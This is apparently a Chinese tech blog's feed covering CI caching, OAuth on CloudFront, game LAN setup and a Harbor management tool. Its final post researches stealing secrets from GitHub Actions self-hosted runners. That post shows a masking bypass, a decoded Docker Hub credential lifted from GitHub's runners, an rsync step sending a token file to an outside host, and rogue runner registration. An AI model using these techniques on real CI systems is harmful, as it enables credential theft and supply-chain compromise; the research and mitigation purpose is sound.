  • 在开始前询问工作人员如果感觉自己驾驶的车辆有问题的话是否可以回到发车区换车(不过这一点 迪士卡 和 极烽赛车 似乎不行,因为发车区在完成发车后就直接封闭了,好在这两个场地我还没遇到过这种情况)

以上。

]]>
用 WebP Cloud Services 来加速你的站点https://nova.moe/use-webp-cloud-services-to-speedup-website/Fri, 14 Jan 2022 23:30:30 +0800https://nova.moe/use-webp-cloud-services-to-speedup-website/几天前我在看 GitHub Insights 的 PageSpeed Insights 的时候,发现在移动端总是不能获得一个比较高的分数,除了有一些 render-blocking resources 以外,一个很大的扣分项在于我头像部分是直接引用了 GitHub 的原始头像,不仅体积较大,而且对于某些地区的访客来说访问起来不是很友好:

很快我便意识到使用 WebP Server Go 的 Remote Mode 可以解决这个问题,并且迅速搭建了带有 WebP 转换的站点起来,虽然由于运行在同一个 Node 上导致页面的响应速度有点影响,我还是发了个推来记录了一下这个事情:

看了一下 GitHub Insights 的 PageSpeed Insights ,告诉我页面上的 http://avatars.githubusercontent.com 影响页面速度。

成啊,正好 WebP Server Go 有 Remote Mode ,马上就搓了个带 WebP 转换的反代出来(例如:https://avatars.github.re/u/24852034)

然后发现网站 Time to Interactive 变长了,打分反而还变低了…

#负优化

——https://twitter.com/n0vad3v/status/1481626787398709248

在解决了自己的痛点之后我意识到其实可能其他人也有类似的痛点,但是可能不在 GitHub 头像上,而是 Gravatar,或者 Imgur,或者其他的站点,这样一来作为 WebP Server Go 的开发者而言,使用自己的产品提供一个公共服务的需求就显得呼之欲出了。

我知道现在市面上已经存在了很多类似的优秀的反代服务,不过个人感觉他们的目标更加贴近:加速,且指面向大陆用户的加速。

而 WebP Cloud Service 希望做到的重点并不是面向大陆用户优化的加速,而是在加速的同时减少图片的体积,使用了我们服务的用户的站点可以访问速度更快,有着更好的 PageSpeed 的打分,参考我们文档上的一个对比,可以看到我们使用了 4600 个 10KB - 500KB 范围的小文件进行了测试,WebP 转换后的图片体积减少了 77%。

file_size_range file_num src_size dist_size
(10KB,500KB) 4600 1.3G 310M

所以,我们创造了 WebP Cloud Services,暂时提供了 GitHub 头像,Gravatar 和 GitHub 用户图片的带 WebP 转换的反代服务,为了防止网站在大陆被墙影响到 WebP Server Go,所以我们注册了一个新的域名,地址: https://webp.se/ ,欢迎大家试用!

]]>
GitHub Actions Self-Hosted Runner 优化——Golang 相关内网缓存https://nova.moe/self-hosted-runner-golang-cache/Wed, 05 Jan 2022 20:00:00 +0800https://nova.moe/self-hosted-runner-golang-cache/在之前的文章 在 Kubernetes 上运行 GitHub Actions Self-hosted Runner关于从 GitHub Actions Self-Hosted Runner 中偷 Secrets/Credentials 的一些安全研究 中,我们知道已经可以通过各种手段让 Self Hosted Runner 在我们内部设施上跑起来,加上一个设计合理的专线+路由表,基本已经可以流畅地接受+处理 GitHub 上使用了 self-hosted 的 CI 任务了,由于语法和 GitHub Actions 官方语法一致,基本使用者都会有类似「太顺滑了,几乎没有任何的体感差异」,「有效减少了高峰用官方 Runner 排队的问题」,「成功获得了 ARM64 环境」,「性能和 RAM 直接翻倍」等等好评。

但是使用一个非海外的基础设施我们很快就会看到一些地理位置上的缺陷,比如…

为什么 actions/setup-go@v2 可以跑这么久?

那..这..用的国内三大运营商,这不是很正常么?(虽然这个包本身并不大,才 120M 左右)

GOPROXY 优化

为了优化 Golang 做 go mod tidy 等操作,在 Runner 的镜像中已经显式地指定好了 GOPROXY ,Dockerfile 类似:

ENV GOPROXY "http://goproxy.nova.moe,https://proxy.golang.org,direct"

这样在用户使用 Golang 程序的时候就可以直接走内部 GOPROXY 来加速了,但是这样依然不够,因为要给 Runner 安装 Go ,还需要使用 actions/setup-go@v2 来安装。

这个时候,有些小机灵鬼就会说了:「那你把 Go 打在 Image 里面不就好了么?」

确实可以,但是这样对于多版本管理是很不利的,难道你像下图一样维护一堆类似 n0vad3v/github-runner:go1130n0vad3v/github-runner:go1160 的镜像,然后手动控制这些镜像的 Container 数量和 Tag,然后让用户去用类 Jenkins 的语法,去手动指定 runs-on: [self-hosted,X64,go1130]

所以为了解决这个问题,我们还是得让用户自己去用一个 Step 来安装 Go,毕竟环境的模块化组装(以及 Matrix 的使用)是 GitHub Actions 的一大优势,不然一堆 if-else 和 Jenkins 有啥区别,更何况现在 Runner 安装了一次 Go 之后就会缓存下来(除非你启动的时候指定了 --ephemeral),在下一次遇到同版本的时候会直接使用缓存。

actions/setup-go 优化

在 Runner 上安装 Golang,大家一般会使用 actions/setup-go@v2,用法也很简单,如下:

- uses: actions/setup-go@v2
  with:
    go-version: '1.16'

为了了解这个 Action 是如何工作的,在不看代码,只看代码结构的角度,我们从 https://github.com/actions/setup-go/blob/main/__tests__/data/versions-manifest.json 文件中可以发现它 ”背后的数据地址“ 类似:

https://github.com/actions/go-versions/releases/download/1.12.17-20200616.21/go-1.12.17-darwin-x64.tar.gz

反推得到实际的数据仓库为: https://github.com/actions/go-versions/https://github.com/actions/go-versions/blob/main/versions-manifest.json , 数据格式类似如下:

[
  {
    "version": "1.17.5",
    "stable": true,
    "release_url": "https://github.com/actions/go-versions/releases/tag/1.17.5-1559554870",
    "files": [
      {
        "filename": "go-1.17.5-darwin-x64.tar.gz",
        "arch": "x64",
        "platform": "darwin",
        "download_url": "https://github.com/actions/go-versions/releases/download/1.17.5-1559554870/go-1.17.5-darwin-x64.tar.gz"
      },
      {
        "filename": "go-1.17.5-linux-x64.tar.gz",
        "arch": "x64",
        "platform": "linux",
        "download_url": "https://github.com/actions/go-versions/releases/download/1.17.5-1559554870/go-1.17.5-linux-x64.tar.gz"
      },
      {
        "filename": "go-1.17.5-win32-x64.zip",
        "arch": "x64",
        "platform": "win32",
        "download_url": "https://github.com/actions/go-versions/releases/download/1.17.5-1559554870/go-1.17.5-win32-x64.zip"
      }
    ]
  },
]

后来发现其实 README 中有写:It will first check the local cache for a version match. If version is not found locally, It will pull it from main branch of go-versions

在确认了实际下载的包的地址之后我们就可以反推 setup-go 中是如何使用这个地址的了,通过一波 rg,我们在 src/installer.ts 的 143 行发现:

  const releases = await tc.getManifestFromRepo(
    'actions',
    'go-versions',
    auth,
    'main'
  );

所以现在缓存的思路就很清晰了:

  1. 下载 https://github.com/actions/go-versions/blob/main/versions-manifest.json 中的包到内网
  2. Fork + 修改一份 https://github.com/actions/go-versions 仓库,把 download_url 中的内容换为内网地址
  3. Fork + 修改一份 setup-go,把它获取 Manifest 的地址指向 Fork 后的 go-versions 仓库
  4. 在 Runner 中调用 Fork 后的 setup-go

下载包到内网

非常容易,Python 可以这么写,只要指定一下 HOST_URL 为内网下载地址,STORE_PATH 为实际存储地址,GOLANG_VERSION_LIST 中填上想要缓存的 Golang 版本即可,保存为一个 download.py ,运行后等着就好:

import requests
from urllib.parse import urlparse
import os
import json

## ENV
HOST_URL = "http://download.nova.moe/download/github-actions/golang/"
STORE_PATH = "/path/to/download/github-actions/golang/"
GOLANG_VERSION_LIST = ['go-1.16','go-1.17','go-1.13']
## END ENV

def process_each_package(package_filename, package_url):
    package_path = STORE_PATH + package_filename
    if not os.path.isfile(package_path):
        print("Downloading: " + package_url)
        r = requests.get(package_url)
        with open(package_path, 'wb') as f:
            f.write(r.content)
    return package_path

if __name__ == '__main__':
    go_versions_url = 'https://raw.githubusercontent.com/actions/go-versions/main/versions-manifest.json'
    r = requests.get(go_versions_url).json()

    return_list = []
    golang_package_list = []
    for item in r:
        package_url = item['files'][1]['download_url']
        
        for version in GOLANG_VERSION_LIST:
            if version in package_url:
                golang_package_list.append(package_url)
                a = urlparse(package_url)
                package_filename = os.path.basename(a.path)

                process_each_package(package_filename, package_url)
                
                item['files'][1]['download_url'] = HOST_URL + package_filename
                return_list.append(item)

    with open('versions-manifest.json', 'w') as f:
        f.write(json.dumps(return_list, indent=2))

运行结束后所有的 tar.gz 包都会保存到 STORE_PATH 中,同时运行目录下会生成一个下载地址已经替换为内网地址的 versions-manifest.json

修改 go-versions 和 setup-go

Fork 这两个仓库后,将 Fork 后的 go-versions 仓库下的 versions-manifest.json 替换为刚刚已经生成好的版本(这个操作过于简单建议直接用网页修改,避免浪费拉仓库使用的本地带宽)。

由于 setup-go 需要编译,为了省事考虑(反正我们只修改两个变量),直接将 Fork 的 setup-go 中 dist/index.js 的 5037 行

const releases = yield tc.getManifestFromRepo('actions', 'go-versions', auth, "main");

改为 fork 后的地址,比如:

const releases = yield tc.getManifestFromRepo('n0vad3v', 'go-versions-forked', auth, "master");

修改 Runner

在上面的操作完成之后,我们只需要使用 fork 后的 setup-go ,即可使用到内网的下载速度了,用法类似:

- uses: n0vad3v/setup-go-forked@master
  with:
    go-version: '1.16'

看看效果?

快到模糊!

小结

由于缓存 Golang 的包的操作看上去是一个 One shot 的操作,基本没有短时间内持续更新的需求,暂时也就没有考虑自动化之类的事情,在有了内网缓存之后,整体的 Runner 运行效率一下子就提升了起来,使用体验又愉快了不少。

这是关于 GitHub Actions Self-hosted Runner 优化的第一篇文章,后续可能还会有一些相关的有趣的分享,同时我也在考虑把相关的组件(比如 关于从 GitHub Actions Self-Hosted Runner 中偷 Secrets/Credentials 的一些安全研究 中提到的那个假 KMS,以及可用的 Runner 的 Dockerfile)开源出来,不过这些都还没想好,有兴趣的同学可以期待一下~

]]>
用 Lambda@Edge + CloudFront + S3 实现静态网站上的 OAuth 认证操作记录https://nova.moe/oauth-on-static-websites/Mon, 01 Nov 2021 20:00:00 +0800https://nova.moe/oauth-on-static-websites/

这其实是一篇操作指南,对于我这种完全不会写代码的人来说都能搞定,整个思路是 @handlerww 大佬建议的,想想还是蛮有意思的,遂记录一下,分享出来,希望可以给有类似需求的同学一些思路。

Google Docs

我不喜欢 Google Docs,因为它对于我而言除了有团队协作上的便利以外,似乎没有任何的好处,Google Docs 对于我而言只是一个草稿本,用来记录一些简单的设计思路和个人的想法,完成记录之后点右上角的「Share」分享给需要的人(们),经过一堆 Zoom 会议或者 Telegram 语音,在文档上出现了一堆 Comment 和修改之后,它,作为一个链接地址长相类似 https://docs.google.com/document/d/1x7Y8pN8DxxxxxxxxxxTB0c/edit 的文档来说,很快它就会成为 Drive 中的一些没法清理的「小麻烦」。

慢慢地,我们的 Google Drive 就会变成这样:

在成熟的公司里,用不着去写具体的业务代码,从事的都是脑力活动。需求越来越多,大佬们就越来越多,为了获得绩效,他们得找到可以改进的「xx设计体系方案」。方案是无限的,因为一切都可以「重构」。Google Drive 里那一堆堆发黑的 Google Docs,比墓地还要凄惨,即便到了年终总结,也不会有人去看一眼。技术就在大量的「xx设计体系方案」,「xx的建设」中渐渐消亡。相信我,在你原来的公司内的一个高可用 Jira 部署的 deployment.yml,就远远胜过我们在各种例会上的「xx 看法」。

——《不能承受的文档之轻》

引子

对于静态的网站来说,一般我们认为是没法加入验证的操作的(htpasswd 这种 pre-shared key 模式不算哈),但是为了打破上文中 Google Docs 满天飞,天天 Play with styling 的困局,我们肯定需要一套完整的,Markdown-based 的文本库作为 Wiki 的存在,一来可以沉淀一些技术上的设计思路,二来也可以为后续找文档和打开文档时省点心思和内存。

我们直接开始整个流程吧,由于是纯静态的文件(假设这里是用的 mdbook,域名为 goprivate.nova.moe),这里考虑到 CI/CD,假设我们使用了 GitHub Actions + AWS S3(桶名:goprivate.nova.moe) 的方式来持续构建和部署我们的 Wiki,并且配置了 Cloudfront 做了 CDN 加速(大陆以外的访问),接下来,我们考虑配置 Google 登录来让我们的内部同学看到对应的文章。

Google API

首先我们需要到 https://console.developers.google.com/ 创建一个类型为 Web application 的 OAuth Client,参考:

设置 Authorized redirect URIshttps://goprivate.nova.moe/_callback,并记录下 Client IDClient secret

Lambda@Edge

Clone https://github.com/Widen/cloudfront-auth 这个仓库,在确认电脑上已经安装了 node 之后在仓库内执行 ./build.sh,选择 Google 验证,并输入上文中记录下来的 Client IDClient secret,在验证部分,由于这里的需求是希望接受所有来自 @nova.moe 邮箱的登录,所以选择 Hosted Domain ,并输入 nova.moe,完成之后会在 distribution/Google 目录下发现一个 Google.zip 的文件,留着备用。

然后在 AWS 的 us-east-1 区域(这点很重要,目前 Lambda@Edge 似乎只有这个区可用)创建一个 Lambda 并选择 Use a blueprint,并搜索 cloudfront-http-redirect,如下图:

选择 Create a new role with basic Lambda permissions 并点确认。

保存并部署后,通过 Upload From 上传之前的 Google.zip 并点 Versions 创建一个 Version (名称可以随意写一个)即可,此时需要注意上面的 ARN,末尾会加入一个 :3 之类的,变为类似 arn:aws:lambda:us-east-1:31245698298:function:goprivate-nova-moe-auth:3,我们需要复制这个 ARN。

Config

最后,我们到达 Cloudfront 的设置界面点 Behaviour,并设置 Viewer Request 通过 Lambda@Edge ,后面写上上文的 ARN,类似如下,并保存:

此时,等待 10 分钟左右等 Cloudfront 生效,生效后我们就可以发现我们的静态页面在访问的时候已经会跳转到 Google Auth 进行验证了。

Website index.html

但是这样有个问题,由于所有的请求都走了 Lambda@Edge,在 S3 上设置的 Static Website Hosting 的 index page 似乎是无效的(导致访问 / 目录会直接出现一个 Access Denied),所以需要对我们用到的 Lambda@Edge 进行一个 Patch,具体来说就是在代码的 function mainProcess(event, context, callback) 内部加入:

  if (request.uri.endsWith('/')) {
    var requestUrl = request.uri;

    // Match url ending with '/' and replace with /index.html
    var redirectUrl = requestUrl.replace(/\/$/, '\/index.html');

    // Replace the received URI with the URI that includes the index page
    request.uri = redirectUrl;
  }

相关部分代码看上去如下:

...
function mainProcess(event, context, callback) {

  // Get request, request headers, and querystring dictionary
  const request = event.Records[0].cf.request;
  const headers = request.headers;
  const queryDict = qs.parse(request.querystring);
  if (event.Records[0].cf.config.hasOwnProperty('test')) {
    config.AUTH_REQUEST.redirect_uri = event.Records[0].cf.config.test + config.CALLBACK_PATH;
    config.TOKEN_REQUEST.redirect_uri = event.Records[0].cf.config.test + config.CALLBACK_PATH;
  }
  
  if (request.uri.endsWith('/')) {
    var requestUrl = request.uri;

    // Match url ending with '/' and replace with /index.html
    var redirectUrl = requestUrl.replace(/\/$/, '\/index.html');

    // Replace the received URI with the URI that includes the index page
    request.uri = redirectUrl;
  }

...

点 Deploy 并 Publish 新版本后按照上文中的 CloudFront 设置新的版本的 ARN 即可.

以上。

Reference

  1. Manual Deployment
  2. Authorization@Edge – How to Use Lambda@Edge and JSON Web Tokens to Enhance Web Application Security
  3. Serving Default index.html Files with AWS S3 and CloudFront
  4. Rewrite default urls to ./index.html #61
]]>
在有 VPN 的局域网环境直接通过 IP 联机 Assetto Corsa (神力科莎)https://nova.moe/run-asseto-corsa-multiplayer-in-vpn-lan/Sun, 24 Oct 2021 20:00:05 +0800https://nova.moe/run-asseto-corsa-multiplayer-in-vpn-lan/这是一篇简短的记录型文章,适用场景是:希望在一个由 VPN 建立的局域网的情况下通过 LAN 联机 Assetto Corsa (神力科莎)。

最近由于贴上贴纸之后跑圈太快了(https://twitter.com/n0vad3v/status/1451831371664543746),导致某个同事要来挑战我,于是第一反应就是,来嘛,搞一把!

在通过 Nova-China-Overlay-Network(一个走 Wireguard 的大内网)让同事连入家里内网之后,同事的电脑已经可以 ping 通我家里的网段了(同事住所网段:192.168.1.0/24,我家里网段:192.168.2.0/24),他的 Wireguard 配置类似如下:

[Interface]
Address = 10.0.0.200/24
ListenPort = 51820
PrivateKey = INoxxxxxxxxxxxxxxxxxxxxxxxxxBWw=

[Peer]
PublicKey = w+g1uxxxxxxxxxxxxxxxxxxxxxxxxxuSYyo=
Endpoint = nova-china-network.xxxxxx.network:51820
AllowedIPs = 10.0.0.1/32, 192.168.2.0/24
PersistentKeepalive = 15

但是在正常启动 Assetto Corsa 之后发现 LAN 中根本没法看到我这边架设起来的服务器,于是盲猜——Assetto Corsa 可能是只扫描的网卡段,没法正确识别可路由段导致的,比如在这个场景下它只扫描了 192.168.1.0/24,而不知道 192.168.2.0/24 的可达性。

这种问题之前在联机 ARMA3 时也有遇到,但是 ARMA3 给出了解决方案——Direct Connect,直接输入对方 IP 进行访问,作为自己扫描器不足的一个 workaround,但是 Assetto Corsa 并不这么认为,并且不给一个简单的 Direct Connect 的方式,这就很愚蠢了…

解决方式

  1. 确认 VPN 已经联通(可以 ping 服务器 IP)
  2. 找到 AssettoCorsa.exe 并创建一个快捷方式,比如丢在桌面,然后在 Target(目标)后面加入 /spawn,类似这样: "C:\Program Files (x86)\Steam\steamapps\common\assettocorsa\AssettoCorsa.exe" /spawn
  3. 在自己用户的「Documents(文档)」目录下找到 race.ini 文件,一般来说路径是这样的: C:\Users\Nova\Documents\Assetto Corsa\cfg\race.ini,并且注意文件内部的 [REMOTE] 的部分,改为以下:
[REMOTE]
SERVER_IP=192.168.2.44
SERVER_PORT=9600
SERVER_NAME=NKW Server
SERVER_HTTP_PORT=8081
REQUESTED_CAR=bmw_z4_gt3
NAME=Nova
TEAM=
PASSWORD=somepassword
GUID=999999999999999
ACTIVE=1

[AUTOSPAWN]
ACTIVE=1

其中,SERVER_IP 是服务器 IP,SERVER_PORT 默认是 9600,PASSWORD 需要和 NAME 需要手动设置一下,REQUESTED_CAR 这个车辆代码可以在游戏目录下 content\cars 目录下找到(文件夹名字就是车的名字)。

  1. 然后点桌面快捷方式直接启动即可,这个时候会直接进入游戏并连接上服务器(不会有任何菜单等)

提示:每次关闭游戏后 [AUTOSPAWN][REMOTE] 下的 ACTIVE 会变成 ACTIVE=0,每次启动前需要手动修改为 1.

开冲!

Reference

  1. Author Topic: Joining AC servers directly when the lobby is down (Read 8098 times)
]]>
Habaform——用类似 IaC(Infrastructure as code) + GitOps 的方式管理 Harbor 的 Project 和 Userhttps://nova.moe/manage-harbor-projects-the-iac-way/Mon, 13 Sep 2021 00:00:00 +0800https://nova.moe/manage-harbor-projects-the-iac-way/作为 Harbor 的用户,我们知道:

If you create user accounts in the Harbor database, Harbor is locked in database mode. You cannot change to a different authentication mode after you have created local users.

Harbor 的用户验证有三种方式,分别叫做:

  • Database Authentication
  • LDAP/Active Directory Authentication
  • OIDC Provider Authentication

由于我个人需要在纯内网环境下使用 Harbor ,加上没有 LDAP 的加持,自然只有一个 「Database Authentication」可以选,由于每用户都是独立的帐号,每个帐号都有自己所属的 Project,也有一些共用的 Project 多个人共用,管理起来的成本非常大,不过好在现在已经从之前的「无文档,无记录」,升级成了用一个 Google Sheet 来记录所有的 Project,类似这样:

这样看上去直观了不少,至少有了一个统一的地方可以看到每个 Project 的所有人/用途和 GC Policy。

但是这是一个 xls,不是一个 exe,它只能用来记录,需要人工同时维护表格和 Harbor(手动点点点),容易出现表格和实际的数据不一致的情况,鉴于此,我们可以继续深入改进一下,用类似 IaC 的方式来管理 Harbor 的 Project 和 Users。

于是我造了一个方形的轮子,叫 Habaform.

Habaform

Habaform 名称来源:Haba(Harbor)-form(Terraform).

GitHub 地址:https://github.com/n0vad3v/habaform

Usage

当使用 pip3 install habaform 安装了之后,我们来看看 Habaform 怎么玩。

Init Habaform

对于一个船新的 Habaform 管理的 Harbor,我们可以通过 habaform parse 来获得一份 habaform_file,用法如下(首先需要 export HARBOR 的登录信息),比如:

export HARBOR_USERNAME="admin"
export HARBOR_PASSWORD="Harbor12345"
export HARBOR_URL="http://hub.nova.moe"

然后就可以开始解析目前的 Harbor 结构了,先创建一个目录用来存放这些信息:

habaform parse

此时,当前目录下会出现一个目录和一个文件,类似这样:

.
├── DO_NOT_TOUCH
│   └── habaform.hf
└── habaform.hf

1 directory, 2 files

此时两个 habaform.hf 文件内容完全一致,文件内容类似如下:

habaformVersion: 1
projects:
- civic:
    members:
    - admin(projectAdmin)
- honda:
    members:
    - admin(projectAdmin)
    - pingcap(developer)
- library:
    members:
    - admin(projectAdmin)
- novakwok:
    members:
    - admin(projectAdmin)

保持这个样子,可以直接丢到一个 GitHub 仓库上。

GitOps

有了一个中心化的 GitHub 仓库之后,我们可以开始配置 GitHub Action 来完成 GitOps,比如我们希望在代码合并的时候自动 habaform plan 来判断这一次合并会造成的更改,虽然是内网环境,但是由于已经有大量的 Self-hosted Runner 的部署在,我们依然可以使用 GitHub Actions 来完成这一系列内网操作(你也想要 Self-hosted Runner?来看看「在 Kubernetes 上运行 GitHub Actions Self-hosted Runner」这篇文章吧~),关键代码如下:

name: Plan Habaform
on: [pull_request]

jobs:
  Plan:
    runs-on: [self-hosted,X64]
    steps:
      - uses: actions/checkout@v2
      - uses: actions/setup-python@v2
        with:
          python-version: '3.x'

      - name: Setup Habaform
        run: |
                    pip3 install habaform

      - name: Plan
        id: plan
        env:
          HARBOR_USERNAME: ${{secrets.HARBOR_USERNAME}}
          HARBOR_PASSWORD: ${{secrets.HARBOR_PASSWORD}}
          HARBOR_URL: ${{secrets.HARBOR_URL}}
        run: |
          echo 'HABAPLAN<<EOF' >> $GITHUB_ENV
          habaform plan >> $GITHUB_ENV
          echo 'EOF' >> $GITHUB_ENV          

      - name: Preview Plan info
        uses: actions/github-script@v4
        with:
          github-token: ${{ secrets.GITHUB_TOKEN }}
          script: |
            github.issues.createComment({
              issue_number: context.issue.number,
              owner: context.repo.owner,
              repo: context.repo.repo,
              body: `${{ env.HABAPLAN }}`
            })            

对于没有问题的 PR,合并后需要自动 Apply 到实际的 Harbor 上,我们再准备一个 Action 来做这个事情,关键代码如下:

name: Apply Habaform

on:
  push:
    branches: [ master ]
    paths:
      - 'habaform.hf'

jobs:
  Apply:
    runs-on: [self-hosted,X64]
    steps:
      - uses: actions/checkout@v2
      - uses: actions/setup-python@v2
        with:
          python-version: '3.x'

      - name: Setup Habaform
        run: |
                    pip3 install habaform

      - name: Apply
        id: apply
        env:
          HARBOR_USERNAME: ${{secrets.HARBOR_USERNAME}}
          HARBOR_PASSWORD: ${{secrets.HARBOR_PASSWORD}}
          HARBOR_URL: ${{secrets.HARBOR_URL}}
        run: |
                    habaform apply

      - name: Sync config
        run: |
          git config --global user.name "github-actions[bot]"
          git config --global user.email "41898282+github-actions[bot]@users.noreply.github.com"
          git add .
          git commit -m "Sync hf file"
          git push          

Workflow

有了上述准备后,我们来看看一个典型的 Workflow,由于手上没有测试环境,我们直接用生产环境的库来测试好了~

  1. 首先,我们遇到了需要针对 Project 的修改,比如要删除 pingcap 这个 Project,这个时候,我们只需要提交一个 PR,内容是在 habaform.hf 中直接删除 pingcap 的部分,像这样:

提交 PR 之后 GitHub Actions 就会自动将这次变更的效果给 Preview 出来并 Comment 到 PR 的 Issue 上,类似这样:

如果感觉没问题(Preview 符合预期),那么就可以直接合并 PR,在合并之后,由于 habaform.hf 文件有修改,会触发 Apply Habaform 这个 GitHub Action 任务,任务会自动把修改的内容 Apply 到实际的 Harbor 上,并同步两个 habaform.hf 文件。

虽然很简陋,不过,这样就完成了~

当然,Habaform 不简单局限于增/删 Project,它还可以直接管理 Project 的成员信息,只要直接修改 habaform.hf 即可,对于成员的 Role 来说,只需要在括号内申明就可以了,可用的 Role 信息如下:

  • projectAdmin
  • maintainer
  • developer
  • guest
  • limitedGuest

以上,在有了 Habaform 之后,我们可以让 Habaform 来管理我们的 Harbor 的 Project/User 关系了。

Miscs

Habaform Feature

  • IaC 管理 Harbor 的 Project-User,后期会考虑加入更多功能
  • 对于 Delete Project 操作而言,会递归删除 Project 下所有 repo 之后删除 Project

Potential Bugs

  • 由于没有类似 Terraform 的 S3 Backend,基于 DO_NOT_TOUCH/habaform.hf 作为 Trusted Source 可能会在多个 PR 同时进行的时候遇到问题
  • 可能还会有些我不知道的 Bug,最坏情况是 Habaform 文件和 Harbor 实际结构不一致(比如 Habaform 上删除了 Project 但是 Harbor 上并没有成功删除之类的),此外,使用时请在 apply 前仔细阅读 plan 的内容

Reference

  1. Configuring Authentication
  2. Workflow commands for GitHub Actions
]]>
关于从 GitHub Actions Self-Hosted Runner 中偷 Secrets/Credentials 的一些安全研究https://nova.moe/steal-credentials-from-ci-agents/Sat, 24 Jul 2021 00:00:00 +0800https://nova.moe/steal-credentials-from-ci-agents/Prologue

在上一篇文章「在 Kubernetes 上运行 GitHub Actions Self-hosted Runner」中,我们可以看到,由于需要动态注册 GitHub Runner,我们需要使用到自己的 Personal Access Token,而这个的使用方式是通过环境变量的方式注入到容器中的,部分 deployment 的内容如下:

containers:
  - name: github-runner-some-github-org
    imagePullPolicy: Always
    image: 'n0vad3v/github-runner'
    env:
      - name: GITHUB_PAT
        value: "ghp_bhxxxxxxxxxxxxx7xxxxxxxdONDT"
      - name: GITHUB_ORG_NAME
        value: "some-github-org"
      - name: RUNNER_LABELS
        value: "docker,internal-k8s"

这样的话在容器中我们可以通过 env 的方式拿到 Personal Access Token,对于外界攻击者来说,只要在 Workflow 中加入一句 env,就可以看到:

好的, GitHub 还是稍微保护了一下我们的傻缺行为,但是攻击者肯定不傻,既然(显然易证) GitHub 是通过匹配字符串的方式来 mask 的,那只要改变一下,改为: env | grep ghp | base64 就可以绕开 GitHub 的限制直接偷到 Token 了

(此处没有截图)

而且由于需要注册 GitHub Runner 的 Personal Access Token 需要 admin:org 的权限,一旦被偷到 PAT 的话,那么攻击者就有了 Full control of orgs and teams, read and write org projects,是不是相当刺激!

根据观察,以下 Self Hosted GitHub Runner 的启动方式都有这样的问题:

  1. https://github.com/myoung34/docker-github-actions-runner
  2. https://github.com/SanderKnape/github-runner
  3. https://github.com/evryfs/github-actions-runner-operator

在我们开始想怎么解决这个问题前,我们先从 GitHub 上把他们 Docker Hub 的帐号给偷出来。

Steal from GitHub Actions

Again,在上文「在 Kubernetes 上运行 GitHub Actions Self-hosted Runner」中,我们知道 Docker Hub 对于未登录用户 pull 的次数有限制,但是 GitHub Actions 的机器不会受到限制,所以肯定是 GitHub Actions 的机器有一些处理,写一个 Workflow cat ~/.docker/config.json 就可以看到 GitHub Actions 的机器上已经登录了 Docker Hub

{
        "auths": {
                "https://index.docker.io/v1/": {
                        "auth": "Z2l0aHViYWN0aW9uczozZDY0NzJiOS0zZDQ5LTRkMTctOWZjOS05MGQyNDI1ODA0M2I="
                }
        }
}
echo "Z2l0aHViYWN0aW9uczozZDY0NzJiOS0zZDQ5LTRkMTctOWZjOS05MGQyNDI1ODA0M2I=" | base64 -d
githubactions:3d6472b9-3d49-4d17-9fc9-90d24258043b

所以直接偷出来用就好了(

Possible way to mitigate Self-hosted Runner vulnerability

好了,现在偷到了 Docker Hub 帐号,我们来看看上面 Runner 的问题如何解决。

Actions 中我们知道,要注册一个 GitHub Runner,需要提供 Token/Org name/Label 等参数,其中 Registration Token 只会在注册的时候使用一次,Remove Token 只会在注销的时候使用一次,且这两个 Token 在生成出来之后使用期限是 1hr(The token expires after one hour.),并且 Endpoint 是 https://api.github.com/orgs/ORG/actions/runners/registration-token,由于这里的 Token 只能用于注册/注销 Runner, 权限特别低,所以我们可以想到利用一个安全托管的外部服务来动态提供 Token,由于是 Web 服务,最简单的就是直接用 ExpressJS 糊一个,关键代码如下:

const org_pat_map = {
	"some-github-org-a": "ghp_bFLPOxxxxxxxxxxxxxxxxxxxxxxx",
	"some-github-org-b": "ghp_JGIGxxxxxxxxxxxxxxxxZcj4KOij4"
}

app.get('/:github_org_name/registration-token', (req, res) => {
    const registration_token_url= `https://api.github.com/orgs/${req.params.github_org_name}/actions/runners/registration-token`
    const github_pat = org_pat_map[`${req.params.github_org_name}`]
    const headers = {
        'Authorization': `token ${github_pat}`
    }
    axios.post(registration_token_url,{},{headers: headers})
    .then((github_res) => {
        res.send(github_res['data']['token'])
    })
})

这样,我们就获得了一个安全可靠的接口,用于获得 Runner 注册使用的 Token 了,用法类似:

export RUNNER_TOKEN=$(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token)
./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token ${RUNNER_TOKEN} --labels "${RUNNER_LABELS}"

这样我们就解决了 PAT 泄漏的问题,但是这里还有个攻击面,请继续往下~

Steal GitHub Secrets

有了 GitHub Actions,我们就会有一些自己的小秘密需要在任务中使用,比如,我们不希望别人知道 Honda 的 V-Tec 真的 is the best!,我们会定义这么个变量。

在传统的方法下,无论是 echo ${{ secrets.SUPRA_SECRET }} 还是 echo ${{ secrets.SUPRA_SECRET }} | base64,都会被聪明的 GitHub 发现并且 Mask 掉。

但是我们可以在机器上发现

[centos@centos76_vm self-hosted-runner]$ pwd
/home/runner/actions-runner/_work/self-hosted-runner/self-hosted-runner

[centos@centos76_vm self-hosted-runner]$ cat token.txt 
Vi1URUMgaXMgdGhlIEJlc3QhCg==

试试看:

➜  ~ echo "Vi1URUMgaXMgdGhlIEJlc3QhCg==" | base64 -d
V-TEC is the Best!

这让 MAZDA 这种大排量自吸车主怎么看!

由于本地已经存放了一个文件,只要在下方加入一个 Step,大概这么写:

- name: rsync deployments
      uses: burnett01/rsync-deployments@4.1
      with:
        switches: -avzr 
        path: token.txt
        remote_path: /root/trap/
        remote_host: "111.111.111.111"
        remote_user: root
        remote_key: "ssh-rsa AAAAB3NzaC1y..."

一个 PR + 一个 VPS,就可以在自己的机器上拿到 Credentials 了。

回顾一下,这里有两个攻击面:

  1. 如果一个外界的人 Fork 了仓库并且写了一个恶意的 Workflow,只要这个 Workflow 能运行,那么肯定可以偷到 Credential,但是很多 Org 的管理员不傻,为了限制外界人员运行 Workflow,在 Approving workflow runs from public forks 中可以进行一些限制
  2. 虽然在 1 上进行了限制,一个外部的人没法运行 Workflow,但是由于 Runner 的环境变量中依然包含 Token,由于 Token 的有效期是 1hr,所以在一个节点刚刚上线的 1hr 内如果拿到了 Token(由于存放在环境变量中,某些 CI 可能 env 的时候刚好就暴露出来了 Runner Token,而且这个 Token 是不会被 Mask 掉的),那么攻击者可以快速在自己的环境下注册大量的相同 Label 的 Runner ,然后包含使用 Secret 的任务就有概率根据 Label 调度到攻击者的机器上

Once its on our machine

